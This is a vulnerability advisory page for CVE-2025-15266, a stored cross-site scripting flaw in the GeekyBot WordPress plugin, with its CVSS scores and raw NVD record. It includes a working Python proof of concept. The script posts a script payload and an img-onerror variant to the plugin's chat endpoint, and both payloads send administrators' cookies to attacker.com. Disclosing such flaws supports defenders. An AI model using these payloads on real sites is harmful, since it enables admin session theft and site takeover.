Security Vulnerability Report
中文
CVE-2025-15266 CVSS 7.2 HIGH

CVE-2025-15266

Published: 2026-01-14 06:15:54
Last Modified: 2026-04-15 00:35:42

Description

The GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the chat message field in all versions up to, and including, 1.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the Chat History page.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GeekyBot WordPress插件 <= 1.1.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-15266 PoC - Stored XSS in GeekyBot WordPress Plugin # Target: WordPress with GeekyBot plugin <= 1.1.8 # Attack Vector: Inject malicious JavaScript via chat message field import requests from urllib.parse import quote target_url = "http://target-wordpress-site.com" # Malicious payload - steals admin cookies when viewing chat history xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Alternative payload with event handler (bypasses some filters) alt_payload = "<img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+document.cookie)'>" # Step 1: Send malicious chat message as unauthenticated user chat_endpoint = f"{target_url}/wp-json/geeky-bot/v1/chat" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } data = { "message": xss_payload, "session_id": "attacker_session_123" } response = requests.post(chat_endpoint, json=data, headers=headers) print(f"Payload sent. Status: {response.status_code}") # Step 2: When admin visits Chat History page, XSS executes # Attacker can then steal session cookies or perform actions as admin

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15266", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:53.980", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the chat message field in all versions up to, and including, 1.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the Chat History page."}, {"lang": "es", "value": "El plugin GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation para WordPress es vulnerable a cross-site scripting almacenado a través del campo de mensaje de chat en todas las versiones hasta la 1.1.7, inclusive, debido a una sanitización de entrada insuficiente y un escape de salida deficiente. Esto permite a atacantes no autenticados inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un administrador acceda a la página de Historial de Chat."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3440963%40geeky-bot&new=3440963%40geeky-bot&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/geeky-bot/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b30e84db-c73f-4df2-9c88-c37a7e14c95b?source=cve", "source": "[email protected]"}]}}